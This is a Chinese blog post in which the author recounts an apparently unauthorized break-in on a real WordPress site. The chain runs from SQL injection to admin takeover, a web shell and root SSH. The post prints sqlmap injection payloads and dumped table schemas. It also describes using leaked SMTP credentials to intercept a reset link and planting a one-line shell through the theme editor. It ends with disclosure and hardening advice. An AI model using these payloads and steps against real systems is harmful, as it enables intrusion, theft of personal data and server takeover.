Back
Featured image of post 我是如何从一个简单SQL注入沦陷整个WordPress站点的

我是如何从一个简单SQL注入沦陷整个WordPress站点的

涉及对Wordpress机制的深入理解,包括wp_options表的研究、找回密码的实现方式及破解技巧等

======更新=======

联系了站长,站长已经修复了漏洞。

======原文=======

开始渗透是晚上11点,写这篇文章的时候是晚上12点吧。精力充沛(不)

整个渗透过程我都会像写小说一样写(x但是真实性可以保证qwq)

0

晚上拿手机翻到了这个网站,之前也有耳闻(似乎挺出名)。然后看到了他的下单系统,里面有个查看所有订单,随手加了个单引号——

0

然后就谜一样的全出来了:

0

同时,我在下单的页面也发现了get类型sql注入漏洞:

0

现在有这种漏洞的网站不多了,于是赶紧开电脑。

对了别忘了信息采集!

0

0

是oneinstack搭建的环境,phpmyadmin暴露无遗。

把刚才那个注入点丢到sqlmap里面去扫。发现是管理员的权限:

0

那就直接–os-shell试下吧,结果失败。尝试读文件、写文件,统统失败,不知道是不是权限问题:

0

思路到这里就暂时断了。不过先爆破一下表吧,看见有这几个表可以利用:

Parameter: huashi (GET)

​ Type: boolean-based blind

​ Title: AND boolean-based blind - WHERE or HAVING clause

​ Payload: huashi=1' AND 4698=4698 AND ‘zlau’=‘zlau

​ Type: error-based

​ Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

​ Payload: huashi=1’ OR (SELECT 5007 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(SELECT (ELT(5007=5007,1))),0x7178717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ‘apPr’=‘apPr

​ Type: AND/OR time-based blind

​ Title: MySQL >= 5.0.12 AND time-based blind

​ Payload: huashi=1’ AND SLEEP(5) AND ‘tNqm’=‘tNqm

​ Type: UNION query

​ Title: Generic UNION query (NULL) - 4 columns

​ Payload: huashi=1’ UNION ALL SELECT NULL,CONCAT(0x71626a7871,0x5578654b6a61507555684875587264414663466a486b72516b56534d554877574a75646a6f667871,0x7178717871),NULL,NULL– CvsI

-–

web application technology: Apache

back-end DBMS: MySQL >= 5.0

Database: CCS

Table: xiadan_huashi

[4 columns]

+——–+————-+

| Column | Type |

+——–+————-+

| huashi | varchar(64) |

| id | int(4) |

| price | int(4) |

| qq | bigint(13) |

+——–+————-+

Database: CCS

Table: xiadan_old

[10 columns]

+———–+————–+

| Column | Type |

+———–+————–+

| date | datetime |

| huashi | varchar(120) |

| id | int(11) |

| ip | varchar(16) |

| message | text |

| paymethod | varchar(120) |

| phone | varchar(16) |

| price | varchar(32) |

| qq | varchar(13) |

| state | char(14) |

+———–+————–+

Database: CCS

Table: joinccs

[6 columns]

+——–+————-+

| Column | Type |

+——–+————-+

| time | datetime |

| email | varchar(96) |

| name | varchar(96) |

| pass | varchar(32) |

| qq | varchar(96) |

| studio | varchar(96) |

+——–+————-+

Database: CCS

Table: xiadan

[9 columns]

+———–+————–+

| Column | Type |

+———–+————–+

| date | datetime |

| huashi | varchar(120) |

| id | int(11) |

| ip | varchar(16) |

| message | text |

| paymethod | varchar(120) |

| price | varchar(32) |

| qq | varchar(13) |

| state | char(14) |

+———–+————–+

Database: CCS

Table: trans

[5 columns]

+———+————-+

| Column | Type |

+———+————-+

| id | int(3) |

| ip | varchar(18) |

| message | text |

| phone | varchar(13) |

| qq | varchar(13) |

+———+————-+

Database: CCS

Table: xiadan_reg

[5 columns]

+——–+————–+

| Column | Type |

+——–+————–+

| date | datetime |

| email | varchar(127) |

| name | varchar(127) |

| qq | bigint(13) |

| state | varchar(16) |

+——–+————–+

爆出来一大堆个人数据,有的还包括手机号,但都没有密码之类的,就没法利用了:

0

然后怎么办呢?

既然我已经可以随便读取数据库,可不可以直接读取管理员账号密码呢?

0

图中这两个账户,经过wp_usermeta表的查看,是管理员账户。就是说等下我下手的目标应该是这两个账户。

但要知道wordpress的密码是通过玄学加密的,破解几乎无望。

那么不可以通过重置密码的手段呢?通过wp发送邮件,之后数据库肯定会存一个重置密码的key吧,盗用这个key就行了。这方法之前也没体验过。

然后看到wp文档里面对于这个密码重置函数的解释(https://developer.wordpress.org/reference/functions/get_password_reset_key/):

0

可以看到最新版wp插入到数据库里面的是hash了的key,所以没法盗用。2013年之前好像插入的是明文key,现在应该修正了。

之后思路又断了。还是继续从表中挖掘出点线索吧。由于最近开发过wp插件,了解到wp_options是个很重要的表,我就导出这个表看看有没有啥可以利用的。在导出的数据里面搜索pass这几个字:

0

woc,这不是smtp链接服务器吗。我可以利用这个账户([email protected])登录到邮件系统,然后在前台通过wp发送重置密码的邮件后,在这个邮件系统的“已发送”里面获取到明文的key!

从smtp域名可以看出是阿里云的企业邮箱。用这个账户尝试登录,但都是登录失败。怎么可能会这样呢?

又尝试社工套路,用这个密码作为root密码登录phpmyadmin,也是失败。

然后又过了好久,还是接着看这张表的内容吧。往后翻又发现了一个smtp的设置处:

0

这个密码和之前的是一样的,只不过登录名不一样([email protected])。

用这个账户登录邮箱,居然就登录进去了:

0

出现这种情况的原因应该是wordpress使用了某些smtp的插件,然后导致站点没使用wp自带的设置,而是使用插件的设置。后来可能发件信息也改过,但wp自带的设置里面就没有即使更新了。

OK,现在在后台登录的地方重置密码吧。

0

原则上应该会在wp-admin这个目录由wp自带的系统完成重置密码的操作,但在这里却跳转到一个前台页面,输入一个管理员账户名点重置密码后显示“密码重置邮件已经送出”的字眼,但被我控制的那个smtp服务器已发送归档里面并没有显示此邮件,基本可以判定邮件没有发出。

这种情况估计就是所用的主题篡改了部分wp原生的用户系统,采用主题自己的系统来处理。结果这个主题的系统又有bug。。。

但wp原生的重置密码还是可以通过非前台手段调用的,这里我用hackbar这个插件直接发送post包来重置密码:

0

发送之后,界面显示密码重置邮件已发送。与此同时在邮箱里面也显示了这封“千呼万唤始出来”的邮件:

0

通过链接重置密码,然后登陆到仪表盘:

0

但是把密码给人家改了肯定要再改回去吧。

那么我就先getshell。在主题编辑里面留个一句话:

0

然后用菜刀连接(由于我这里是mac,就用中国蚁剑):

0

OK,至此已经完全控制了此虚拟主机。

在wp-config.php里面可以看到mysql数据库的账户密码:

0

用户名不是root,是【打码】。密码是邮件密码全部改成小写。。。

为啥刚才我没想到?

用这个账户登录phpmyadmin,刚才我dump了wp_users表里面的密码hash,给他改回去:

0

OK,到这里整个渗透过程就差不多完成了。

但是别急啊,咱再用刚才那个邮箱密码ssh到服务器试试!

0

真见鬼,一下子就登上了。。。。

可见此网站安全防护相当差。启用root账户登录不说,还没使用密钥登录;没用密钥登录不说,密码还用的这么“社工able”。。。

由于是京东国内云,就不敢再深入研究或者搞什么内网漫游了,exit掉,咱不干坏事。

还是通知站长修复吧。

给站长(们)的建议:

1.防注入编程,尽量避免出现这么严重的漏洞,如果实在搞不定可以试下安全狗。程序里面个人信息要加密,现在网络安全法指出如果站点个人信息泄露了,站长要被请喝茶的。

2.不要使用弱密码、易社工密码,定期更换密码。不同架构平台(mysql、wordpress、ssh、邮箱)等使用不同的密码,而且要别人知道你一个密码绝对猜不出你的其他密码那种。

3.ssh禁止root账户、禁止密码登录,采用密钥登录。

4.加固安全措施,比如邮箱、手机报警。启用系统日志并定期检查。

5.mysql一个站点用一个账户,不要一个root权限的账户满大街用。

6.oneinstack这类程序安装之后要删除或移动default站点,不要让人一下就访问到phpmyadmin这样重要的程序。

7.一定要用脚本或者什么的每日备份,不是所有渗透都是善意的。

Licensed under CC BY-NC-SA 4.0
-1